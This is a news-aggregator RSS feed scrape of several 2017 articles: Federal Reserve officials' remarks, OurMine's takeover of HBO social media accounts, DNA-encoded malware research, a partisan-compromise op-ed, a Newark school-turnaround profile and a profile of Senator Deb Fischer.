Fischer’s remarks come on the heels of Dudley’s own curious endorsement of Cohn, a fellow former banker with whom he overlapped at Goldman Sachs.  

The next time Congress attempts to meddle in the Fed’s affairs, lawmakers could point to just this sort of statement to show that policymakers have disregarded the basic tenets of independence when it suited them.

It’s not the first time Fischer has appeared to skirt the Fed’s own rules. In April, he gave a speech on bank regulation to a private audience at the Brookings Institution that included big investors, and concluded with a question and answer session on interest rates. Even the smallest insights into top central bankers’ thinking can be extremely valuable to a knowledgeable Wall Street crowd.

Fischer’s own term as vice-chair due to end in the middle of next year, but he declined in the FT interview to speculate on his chances of a reappointment.

NOW WATCH: We may have been wrong about ‘good’ cholesterol all this time

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]]> https://briefnews.eu/fed-officials-keep-breaking-with-protocol-in-a-way-that-could-compromise-the-central-banks-independence/feed/ 0 ‘Just testing security’: Hackers compromise HBO’s social media accounts https://briefnews.eu/just-testing-security-hackers-compromise-hbos-social-media-accounts/ https://briefnews.eu/just-testing-security-hackers-compromise-hbos-social-media-accounts/#respond Thu, 17 Aug 2017 04:37:17 +0000 http://briefnews.eu/just-testing-security-hackers-compromise-hbos-social-media-accounts/

The HBO cable network has suffered yet another cyber security fiasco after it had several of its Twitter and Facebook pages, including those of the iconic ‘Game of Thrones’ show, briefly compromised by an apparent “white hat” hacking group.

On Wednesday night, several of the network’s social media accounts posted: “Hi, OurMine are here, we are just testing your security, HBO team please contact us to upgrade the security.”

The message, apparently by a white-hat cyber security hacking collective, was followed by another one that offered to “make #HBOHacked trending!”

The alleged security breach was quickly noticed and the messages removed, while an HBO spokesman told Reuters: “We are investigating.”

The incident also did not go unnoticed by fans of HBO’s shows. Some vented their anger with the hackers and potential spoiler, while others shamed the cable network over the lack of cyber security.

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]]> https://briefnews.eu/just-testing-security-hackers-compromise-hbos-social-media-accounts/feed/ 0 Researchers encode malware in DNA, compromise DNA sequencing software https://briefnews.eu/researchers-encode-malware-in-dna-compromise-dna-sequencing-software/ https://briefnews.eu/researchers-encode-malware-in-dna-compromise-dna-sequencing-software/#respond Sat, 12 Aug 2017 15:03:06 +0000 http://briefnews.eu/researchers-encode-malware-in-dna-compromise-dna-sequencing-software/

Enlarge / This data could potentially contain malware. (credit: UCSF)

With everyone from academics to Microsoft looking at the prospect of storing data using DNA, it was probably inevitable that someone would start looking at the security implications. Apparently, they’re worse than most people might have expected. It turns out it’s possible to encode computer malware in DNA and use it to attack vulnerabilities on the computer that analyzes the sequence of that DNA.

The researchers didn’t find an actual vulnerability in DNA analysis software—instead, they specifically made a version of some software with an exploitable vulnerability to show that the risk is more than hypothetical. Still, an audit of some open source DNA analysis software shows that the academics who have been writing it haven’t been paying much attention to security best practices.

More like a virus than most

DNA sequencing involves determining the precise order of the bases that make up a DNA strand. While the process that generates the sequence is generally some combination of biology and/or chemistry, once it’s read, the sequence is typically stored as an ASCII string of As, Ts, Cs, and Gs. If handled improperly, that chunk of data could exploit vulnerable software to get it to execute arbitrary code. And DNA sequences tend to see a lot of software, which find overlapping sequences, align it to known genomes, look for key differences, and more.

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]]> https://briefnews.eu/researchers-encode-malware-in-dna-compromise-dna-sequencing-software/feed/ 0 What Happened to Good Ol' Bipartisan Compromise? https://briefnews.eu/what-happened-to-good-ol-bipartisan-compromise/ https://briefnews.eu/what-happened-to-good-ol-bipartisan-compromise/#respond Tue, 02 May 2017 07:14:31 +0000 http://briefnews.eu/what-happened-to-good-ol-bipartisan-compromise/

The author is the founder and president of Americans for Tax Reform.

TV pundits are bemoaning the loss of “bipartisan compromise.” They think they’re being sophisticated and worldly, but they are simply telling everyone just how very old they are.

Back in the 1950s, and even into the 1970s, all fights — civil rights, taxes, spending, guns, foreign policy — were bipartisan. Why? Because if you were told someone was a Republican, all you really knew about them was that they were born north of the Mason-Dixon Line. Little old ladies in Mississippi who agreed with Ronald Reagan on everything voted for George McGovern because General Sherman was mean to Atlanta … recently. Liberals in Maine were Republicans because the general defending Little Round Top at Gettysburg was a Republican from Maine.

If one party wants to go west while the other wants to go east, there can be no meeting point.

The parties were largely regional, with some marbling of recent immigrants. Tax fights pitted liberal Republicans and liberal Democrats against conservative Republicans and conservative Democrats. Every victory and every loss was “bipartisan,” because shirts and skins meant nothing.

Which also made compromise easier. Richard Nixon believed the government should grow larger, while his nemesis, Sen. Teddy Kennedy, wanted it to get “much larger.” The compromise? “Somewhat larger.” Over time, the federal government got quite large. In the Colonial period, government absorbed 1 to 2 percent of personal income; by 1980, the federal government was consuming 20 percent of the economy — thanks to those “large” compromises.

During Reagan’s political lifetime, the two parties evolved into more consistent structures. Those who wanted government to grow were or became Democrats, and those who wished to limit the state’s power over the individual were or became Republicans. The first Republican senator elected in the former Confederate states was John Tower, in 1961. Today, the state Senates and Houses of all 11 former Confederate states are controlled by the GOP, and nine of them have Republican governors.

The partisan divide started long before Trump. In 1981, the Reagan tax cuts won every Senate vote, except for 11 Democrats. The 1986 tax reform package that cut the top marginal tax rates for businesses to 34 percent and individuals to 28 percent passed the House 292-136 and the Senate 74-23. But by 1993, Clinton’s tax hikes passed by one vote, and without a single Republican one. In 2009, when Obama had a Democrat House and Senate, the stimulus spending passed without a single Republican vote in the House.

George H.W. Bush won the presidency when he promised, “Read my lips, No new taxes.” After breaking that pledge, he lost the 1992 election, and the message was clear to Republicans: Take the no-tax-hike pledge, win the primary and win the general. Keep the pledge? Get re-elected.

Since 1990, no income tax hike has passed with any Republican votes. No tax increase has been enacted at the federal level in any year since 1990 if the GOP held the House, Senate or the presidency. The only tax hikes came in 1993 and 2009–10 — years of complete Democrat control of the presidency, House and Senate. The Affordable Care Act was passed solely with Democrats’ votes. Dodd-Frank, the banking regulations bill, was passed with support from only three Republicans in the Senate and none in the House.

Looking ahead, the repeal of Obamacare will be passed with only Republican votes. The tax cut of 2017 will pass without any support from Democrats. So far, no Democrat has voted with Republicans in the Trump era if it was the deciding vote to enact anything. Once Judge Neil Gorsuch had enough votes to ensure his confirmation to the Supreme Court, and only then, did three Democrats — who are up for re-election in 2018 in red states — vote to confirm.

The lines are drawn. Democrats cannot vote against the interests of unions, trial lawyers, environmentalists or the pro-choice lobby. Republicans, meanwhile, cannot vote against gun owners, taxpayers or the self-employed. So what about bipartisan compromise?

If one party wants to go west while the other wants to go east, there can be no meeting point. On taxes, they go up or down; there is no in-between. Compromise means moving toward one’s goals more slowly than one might wish but still making progress. If you are heading from Washington, D.C., to California, arriving in Missouri is not treason; it is on the way to California. But if your feet are wet and everyone around you is speaking French, moving in the wrong direction is not compromising, it is losing.

That is why Republicans refused in 2011 to give Obama a tax hike in return for promises of spending restraint. A tax hike was not a compromise, it was a loss.

Neither party can be expected to betray its principles. And on most central issues, the parties are divided and wish to move in opposite directions. Divided government gives you stasis — like the last six years of Obama. But unity in the national government and in 25 red states and six blue states gives you movement in the direction of the majority party without concern for the niceties of “compromise” or “bipartisanship.”

There is no compromise in tug-of-war: The rope moves in one direction or the other.

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]]> https://briefnews.eu/what-happened-to-good-ol-bipartisan-compromise/feed/ 0 The Compromise on Education That Could Unite Left and Right https://briefnews.eu/the-compromise-on-education-that-could-unite-left-and-right/ https://briefnews.eu/the-compromise-on-education-that-could-unite-left-and-right/#respond Wed, 26 Apr 2017 10:58:29 +0000 http://briefnews.eu/the-compromise-on-education-that-could-unite-left-and-right/ Though metal grates protect the windows of the imposing brick building of this pre-K through eighth-grade school, the interior walls are decorated with art and echo with the sounds of chattering children. In class, one small group is working with a teacher while another collaborates over a set of laptop computers. When the bell rings, the students walk in order along the lines painted on both sides of the hallway floor. The teacher leading the way is wearing a onesie, and the children are following suit — it’s pajama day.

The Newark, New Jersey, neighborhood where the Peshine Academy is located is in the top 1 percent. But it’s nothing to celebrate — these few blocks in the city’s southwest rank in the top 1 percent of neighborhoods in the U.S. for single-mother households. It’s also near the top for child poverty rates: 61 percent. A quarter of the students at the school have special education needs, and nearly 90 percent receive free lunches; the racial makeup is 80 percent Black and 20 percent Latino.

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A couple of miles down the road is Avon Academy, which used to be Newark’s worst performing school and the second worst in all of New Jersey. Both schools are now around the middle of the pack thanks to the turnaround work of the management company, BRICK, which took over Avon in 2011 and Peshine in 2012.

But this is not a story of an innovative charter school company — that is, a privately managed organization given freedom from district control to run public schools. Both of BRICK’s schools remain traditional public schools, dealing with teacher unions and district oversight like any other. Instead, BRICK has a bespoke Memorandum of Understanding that gives it limited freedoms “in exchange for results,” says founder and executive director Dominique Lee — a sort of halfway house.

But this fall, BRICK — it stands for “Building Responsible, Intelligent and Creative Kids” — is also opening a charter school. “We will still maintain our work in our traditional public schools, but we will also have a couple of charter schools, so a diverse portfolio,” says Lee. “I don’t follow either side — charter versus traditional public — because I think that is a false dichotomy.” In a city — and indeed a nation — divided by the politics of education reform, BRICK’s mission aims to bridge that gap. BRICK has “made a very deliberate effort to create a certain culture of expectation for student success” in the schools, says 36-year Newark teacher and chair of the Newark Board of Education Antoinette Baskerville-Richardson.

We bring best practices from charter schools over into the traditional public school space. … Of course, the bureaucracy doesn’t like that.

Dominique Lee, executive director, BRICK

Charter schools can’t be the only solution for struggling school districts, says Lee. He employs a common refrain of those opposed to the contemporary educational reform movement: Charters too often leave behind certain children “because they don’t have an advocate in their lives to take advantage of the [school] choice that is presented before them.” In practice, the “school turnaround agency” starts with a “descriptive” and “unified” curriculum that sets out “from minute to minute” what teachers should be teaching and at what pace.

While some may criticize this straitjacketed approach, Lee is “unapologetic,” noting that “we’re not about creativity right now, we’re about getting teaching and learning to the quality that’s necessary for our children.” The school day has been extended by an hour, and less than 5 percent of the original teaching staff remain. “What we try to do is to bring best practices from charter schools over into the traditional public school space,” says Lee. “Of course, the bureaucracy doesn’t like that a lot of the time,” he says, referring mainly to the administrative hurdles surrounding hiring — another popular refrain, this time of the pro-charter movement. Some of the lessons flow the other way too — district schools are more used to dealing with social and emotional therapy for children facing trauma and extreme special education needs, he says.

School snow basketball hoop

Lee’s political agnosticism is refreshing in a city where the debate over educational policy has become toxic. The city’s chronically failing school district has been state-controlled for more than 20 years. More money is spent per student in Newark than in any other school district in the country, yet outcomes remain poor, if slowly improving — only 22 percent of students are proficient in English and 18 percent in math. In 2010, Facebook billionaire Mark Zuckerberg announced a $ 100 million gift to reform Newark schools on The Oprah Winfrey Show, with then-popular governor Chris Christie and ascendant mayor Cory Booker.

If anything, the windfall inflamed matters further. Most of the money was spent on controversial amendments to teacher contracts, and more than $ 20 million went to management consultants. Wide-reaching reforms under the so-called One Newark policy from the state-appointed former superintendent were criticized as top-down with little or no community involvement, causing mass protests and widespread anger.

Last year, in a rare moment of bipartisan progress between the pro-reformers in Trenton and current Newark mayor Ras J. Baraka, who campaigned against One Newark, a new program established five “community schools,” including the two BRICK schools. These schools aim to empower communities with social services in addition to education. Lee calls it a “two-generation strategy.” And, unlike One Newark, the initiative was based on community conversations, says Baskerville-Richardson.

Img 8459

But beyond the community schools, there are no immediate plans to replicate the BRICK model in other Newark schools. Plus, two schools in, and Lee already is fed up with the bureaucracy of the traditional district system. “Our new growth will be in the charter space,” he says. BRICK even applied last year to convert both Avon and Peshine Academies into charters but was rejected. “We would lose a lot when it comes to intake of kids,” admits Lee, who has shelved the charter plans for the moment. Nevertheless, the BRICK model is at the very least a proof of concept that pedagogical innovation and management freedom can take place within — as well as outside of — existing public school district control.

Ensuring that 100 percent of the children who graduate from BRICK are college-ready is Lee’s mark of success, and in such a challenged community, “it’s probably the hardest work that anybody could do,” he says. But garnering praise from both sides of the aisle of Newark’s divisive educational debate is already quite the achievement.

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]]> https://briefnews.eu/the-compromise-on-education-that-could-unite-left-and-right/feed/ 0 The Rancher Brokering the Senate's Compromise on Women https://briefnews.eu/the-rancher-brokering-the-senates-compromise-on-women/ https://briefnews.eu/the-rancher-brokering-the-senates-compromise-on-women/#respond Thu, 20 Apr 2017 04:46:08 +0000 http://briefnews.eu/the-rancher-brokering-the-senates-compromise-on-women/ When colleagues tell Deb Fischer they’d love to visit her ranch sometime, she is skeptical. Sure, the Nebraska Sand Hills appear lovely and bucolic, but Fischer tells those people: “You should come out in January, when it’s 10 below zero, and chop ice with our kids.” That’s their morning ritual, to break the frozen top layer of the ranch’s water tanks, so the cattle can drink.

Honestly? Fischer has never done the numbing labor herself, she admits. The deep freeze she’s trying to crack is more difficult: gender politics in the United States Senate. The poised 66-year-old delayed her own political career for motherhood and is now trying to make her name as the conservative voice shouting for family-friendly policies on the Hill. The tough-mom vibe is all part of the story.

Fischer, née Strobel, grew up in Lincoln, the daughter of a schoolteacher and an engineer who later became director of the state roads department. In 1972, before finishing college, she married Bruce Fischer, who moved her out to his family’s massive ranch, 300 miles to the northwest. It was gorgeous but lonely; Fischer tended a garden and a brood of three sons. A retiring senator asked her to run for office while the boys were in school, but she declined, instead serving on the school board, where she worked on distance-learning programs for rural kids. Once her own were grown, she ran for state senate in 2004, winning her first race by 128 votes to represent a sparsely populated district the size of New Jersey.

She cites the need for relief for an hourly worker…but never neglects business owners’ concerns.

In Lincoln’s unicameral legislature, Fischer became known as tough, conservative and a good listener. Then-speaker Mike Flood says Fischer’s nickname was “The General,” for her acuity at whipping votes. She willed through a law to earmark a quarter-cent of the state sales tax for new road construction, a feat Flood considered unlikely at first.

Term-limited out of the legislature, Fischer ran for an open U.S. Senate seat in 2012 as an underdog in a Republican primary against two statewide officeholders. The men spent most of their time attacking each other, and Fischer scored a narrow win thanks in part to an avalanche of outside money pounding establishment favorite Attorney General Jon Bruning — and an endorsement from Sarah Palin. In the general election, Democratic former U.S. Sen. Bob Kerrey attacked Fischer for ranch-related controversies: a nasty property dispute with a neighbor and using a federal program for the Fischer cattle to graze on federal land for low rates. She won by 16 percentage points.

So far, Fischer lacks a signature achievement in the gridlocked Senate, but she now finds herself at the front lines of the “war on women.” Nationwide, women voted for Hillary Clinton last year by a 12-point margin, according to national exit polls. Donald Trump’s piggish leaked Access Hollywood tape, in which he boasted of committing sexual assault, didn’t help. Fischer denounced Trump afterward and said he should quit the race, but days later reversed course and said she would still vote for him. Bottom line: “There was no way that I could support Hillary Clinton,” she says. And now? “I think he’s doing a great job.” She cites his demolition of environmental regulations loathed by farmers and ranchers on stream pollution, and she favors Trump’s SCOTUS pick, Neil Gorsuch.

Gettyimages 483388333

Paul Landow, a University of Nebraska Omaha political scientist and veteran of Democratic politics, says the flip-flop earned Fischer sharp backlash. Her fellow Nebraska Republican senator, Ben Sasse, was a leader of the “Never Trump” brigade and still is suffering among the GOP base. But Landow says Fischer doesn’t need to worry about her reelection race next year.

Fischer says the Senate itself nurses scars from 2016. The 21 female senators are clubby. “We don’t pick at each other,” Fischer tells OZY in her Washington office, where visitors are greeted by a goldendoodle puppy. While she laments how cross-party relationships have deteriorated even over her single term, Fischer has worked closely with Sen. Angus King of Maine, an Independent who caucuses with Democrats, to push a tax credit to businesses that give at least two weeks of family leave to their employees. Fischer is also promoting a bill that would prevent companies from retaliating against employees who discuss their salaries to determine whether the company is doling out “equal pay for equal work.”

Democrats would prefer something stronger, such as 12 weeks of mandatory paid leave or allowing women to sue for punitive damages for wage discrimination. Trump proposed a six-week maternity leave mandate during the campaign. King and Fischer argue a half-measure beats nothing — and with Republicans running the show, mandates are out. But activist groups say Fischer’s bills are so narrow as to be almost meaningless. They seem “designed to score political points without actually making a material difference in the lives of most working women,” says Vivien Labaton, cofounder of Make It Work Action. “And by that calculus, it’s not worth it.”

While Ivanka Trump’s big Republican National Convention speech cribbed Democratic talking points about the gender pay gap, Fischer’s rhetoric melds her tough-mom aesthetic with equal-opportunity empathy. She cites the need for relief for an hourly worker who “has to take off to take their kid to the doctor or make sure that their mother’s OK,” but never neglects business owners’ concerns. “These are mom-and-pops that if we mandate any kind of paid family leave, they might have to let an employee go,” she says. Her strategy, for now: Keep putting pressure on her fellow senators by speaking out in public and reminding them that this steely ranch mom just might provide the only way to break the ice.

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